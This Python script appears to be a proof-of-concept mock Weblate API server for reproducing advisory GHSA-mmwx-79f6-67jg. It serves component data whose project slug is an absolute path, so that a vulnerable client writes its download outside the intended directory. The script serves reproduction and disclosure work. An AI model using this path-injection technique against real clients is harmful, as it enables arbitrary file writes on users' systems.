#!/usr/bin/env python3
"""Minimal mock Weblate API server for reproducing GHSA-mmwx-79f6-67jg."""

from __future__ import annotations

import argparse
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse


class MockHandler(BaseHTTPRequestHandler):
    """Simple handler that mimics the subset of Weblate endpoints needed."""

    base_api_url: str = "http://127.0.0.1:0/api"
    project_slug: str = "/tmp/weblate-owned"
    component_slug: str = "absolute-component"
    file_bytes: bytes = b"This looks like a ZIP but is arbitrary bytes for the PoC.\n"

    def log_message(self, format: str, *args) -> None:  # noqa: A003
        """Log to stderr with a prefix so it is easy to capture."""
        super().log_message("[mock-weblate] " + format, *args)

    @classmethod
    def _language(cls) -> dict:
        return {
            "url": f"{cls.base_api_url}/languages/en/",
            "web_url": "http://example.test/languages/en/",
            "code": "en",
            "name": "English",
            "direction": "ltr",
        }

    @classmethod
    def _project(cls) -> dict:
        return {
            "url": f"{cls.base_api_url}/projects/malicious/",
            "web_url": "http://example.test/projects/malicious/",
            "name": "Malicious project",
            "slug": cls.project_slug,
            "web": "http://example.test/projects/malicious/",
            "source_language": cls._language(),
        }

    @classmethod
    def _component(cls) -> dict:
        base = f"{cls.base_api_url}/components/{cls.component_slug}"
        return {
            "url": f"{base}/",
            "web_url": "http://example.test/components/malicious/",
            "name": "Absolute path component",
            "slug": cls.component_slug,
            "project": cls._project(),
            "source_language": cls._language(),
            "vcs": "git",
            "repo": "https://example.test/git/malicious.git",
            "git_export": "https://example.test/git/malicious/archive.zip",
            "branch": "main",
            "filemask": "locale/*.po",
            "template": "locale/template.pot",
            "new_base": False,
            "file_format": "po",
            "license": "GPL",
            "license_url": "https://example.test/license",
            "agreement": "",
            "priority": 100,
            "is_glossary": False,
            "category": None,
            "linked_component": None,
            "repository_url": f"{base}/repository/",
        }

    @classmethod
    def downloaded_path(cls) -> str:
        return f"{cls.project_slug}-{cls.component_slug}.zip"

    def _send_json(self, payload: dict) -> None:
        body = json.dumps(payload).encode("utf-8")
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self) -> None:  # noqa: N802
        parsed = urlparse(self.path)
        path = parsed.path
        list_path = "/api/components/"
        single_path = f"/api/components/{self.component_slug}/"
        file_path = f"/api/components/{self.component_slug}/file/"

        if path == list_path:
            self._send_json(
                {
                    "count": 1,
                    "next": None,
                    "previous": None,
                    "results": [self._component()],
                }
            )
            return

        if path == single_path:
            self._send_json(self._component())
            return

        if path == file_path:
            body = self.file_bytes
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        self.send_error(404, "Not Found")


def main() -> None:
    parser = argparse.ArgumentParser(description="Mock Weblate API server")
    parser.add_argument("--port", type=int, default=8123, help="Port to bind to")
    args = parser.parse_args()

    MockHandler.base_api_url = f"http://127.0.0.1:{args.port}/api"

    server = HTTPServer(("127.0.0.1", args.port), MockHandler)
    print(f"[mock-weblate] Listening on 127.0.0.1:{args.port}", flush=True)
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("[mock-weblate] Shutting down", flush=True)
    finally:
        server.server_close()


if __name__ == "__main__":
    main()